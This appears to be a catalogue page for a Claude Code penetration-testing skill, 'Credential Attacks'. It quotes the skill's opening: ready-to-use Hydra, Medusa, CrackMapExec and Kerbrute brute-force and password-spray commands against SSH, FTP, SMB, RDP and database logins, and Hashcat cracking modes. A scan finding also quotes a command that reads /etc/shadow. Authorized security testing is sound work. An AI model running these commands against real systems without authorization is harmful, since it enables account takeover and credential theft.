Credential Attacks

Credential Attacks is a skill for Claude Code from allsmog/blackbox-claude-plugin. It costs 50 tokens per session (2,209 once invoked), scanned C, original, MIT.

A guide to credential-based security testing, including attempts to discover or use passwords with tools such as Hydra, Medusa, Hashcat, and John the Ripper.

In plain words
What is it for?
Use it during authorized penetration tests of services such as SSH, FTP, web logins, SMB, RDP, and databases.
Why use it?
It provides a structured reference for testing whether login systems and stored passwords resist common attack methods.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin. Also seen: positional $N argument.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/allsmog/blackbox-claude-plugin/credential-attacks
Any agent
npx skills add allsmog/blackbox-claude-plugin --skill credential-attacks
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Credential Attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/credential-attacks.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/credential-attacks)
Your own site
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/credential-attacks"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/credential-attacks.svg" alt="Measured on agentmods" height="20"></a>
Per session 50 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,209 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00050 $0.02209
Opus 5 $0.00025 $0.01104
Sonnet 5 $0.00010 $0.00442
Haiku 4.5 $0.00005 $0.00221

Measured 6d ago against content hash 8f6ed2b103c7, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade C, and why

Credential Attacks scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

unshadow /etc/passwd /etc/shadow > unshadowed.txt
blackbox-htb/skills/credential-attacks/SKILL.md · 323 lines

How it starts

The opening of the file, as written. The whole thing — 323 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Credential Attacks Skill

Overview

Techniques for discovering, cracking, and using credentials in penetration testing.

Online Attacks (Brute Force)

Hydra

# SSH
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ssh://<TARGET>
hydra -L users.txt -P passwords.txt ssh://<TARGET>

# FTP
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET>

# HTTP Basic Auth
hydra -l admin -P passwords.txt <TARGET> http-get /admin

# HTTP POST Form
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP POST with cookies
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: session=abc123"

# SMB
hydra -l Administrator -P passwords.txt smb://<TARGET>

# RDP
hydra -l Administrator -P passwords.txt rdp://<TARGET>

# MySQL
hydra -l root -P passwords.txt mysql://<TARGET>

# MSSQL
hydra -l sa -P passwords.txt mssql://<TARGET>

Medusa

# SSH
medusa -h <TARGET> -u <USER> -P passwords.txt -M ssh

# FTP
medusa -h <TARGET> -u <USER> -P passwords.txt -M ftp

CrackMapExec

# SMB password spray
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success

# Multiple passwords
crackmapexec smb <TARGET> -u users.txt -p passwords.txt --continue-on-success

# With hashes
crackmapexec smb <TARGET> -u users.txt -H hashes.txt

Kerbrute (Kerberos)

# Password spray (no lockout)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'

# Brute force single user
kerbrute bruteuser -d <DOMAIN> --dc <TARGET> passwords.txt <USER>

Offline Attacks (Hash Cracking)

Identify Hash Type

# Hashid
hashid '<HASH>'

# Hash-identifier
hash-identifier

# Common hash lengths:
# 32 chars = MD5, NTLM
# 40 chars = SHA1
# 64 chars = SHA256
# 128 chars = SHA512

Hashcat

# NTLM (Windows)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# NTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast (TGS)
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

# AS-REP Roast
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# MD5
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA1
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

# MD5 Crypt ($1$)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512 Crypt ($6$)
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# WPA/WPA2
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt

Read the full file on GitHub · 323 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 323 lines · 50 tokens per session scan C 8f6ed2b103c7

Subscribe to this mod's changes

Credential Attacks is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 50 tokens to every session and 2,209 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 1 finding (reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

mks

MKS (Metasploit-Kali Server) tool preference guide. Mount in Phase 0/1 alongside the primary skill. Provides URL resolution, REST endpoint patterns, response parsing, error handling, and fallback rules for all MKS-backed Kali tools.

Stickman230/claude-pentest · 54 tokens

pentest

Penetration testing orchestrator that coordinates specialized attack agents. Provides attack indexes, methodology frameworks, and documentation. Execution delegated to specialized agents (SQL Injection, XSS, SSRF, etc.). Use for engagement planning and attack coordination.

Stickman230/claude-pentest · 50 tokens

authenticating

Authentication testing skill - automates signup, login, 2FA bypass, CAPTCHA solving, and bot detection evasion using Playwright MCP. Tests authentication security controls. Includes behavioral biometrics simulation, OTP handling, and automated account creation for security assessments.

Stickman230/claude-pentest · 54 tokens

common-appsec-patterns

Application security testing coordinator for common vulnerability patterns including XSS, injection flaws, and client-side security issues. Orchestrates specialized testing agents to identify and validate common application security weaknesses.

Stickman230/claude-pentest · 42 tokens

web-application-mapping

Comprehensive web application reconnaissance and mapping coordinator that orchestrates passive browsing, active endpoint discovery, attack surface analysis, and headless browser automation for complete application coverage.

Stickman230/claude-pentest · 38 tokens

cve-testing

CVE vulnerability testing coordinator that identifies technology stacks, researches known vulnerabilities, and tests applications for exploitable CVEs using public exploits and proof-of-concept code.

Stickman230/claude-pentest · 36 tokens